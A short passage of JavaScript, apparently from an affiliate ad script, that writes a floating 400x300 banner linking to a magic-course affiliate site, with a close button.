document.write('<DIV id=topbarAnJanelaFlutuante><font style="float:left;margin-left:10px;">'+exanun+'</font><div style="clear:both"></div><A href="http://afiliados.cursodemagicas.com/?ref='+afcm_client+'&tp=float5" target="_blank"><IMG src="http://afiliados.cursodemagicas.com/images/400x300-2-float.gif" border=0 width=400 height=300></A> <A style="RIGHT: 10px; COLOR: #fff; FONT-FAMILY: Verdana; POSITION: absolute; TOP: 23px; TEXT-DECORATION: none" onclick="closebarAnJanelaFlutuante(); return false" href="javascript:void(0);"><B>x</B></A> </DIV><!-- FIM FLUTUANTE 5 -->');
}
<!-- ################################## FLOAT 5 ############################## -->
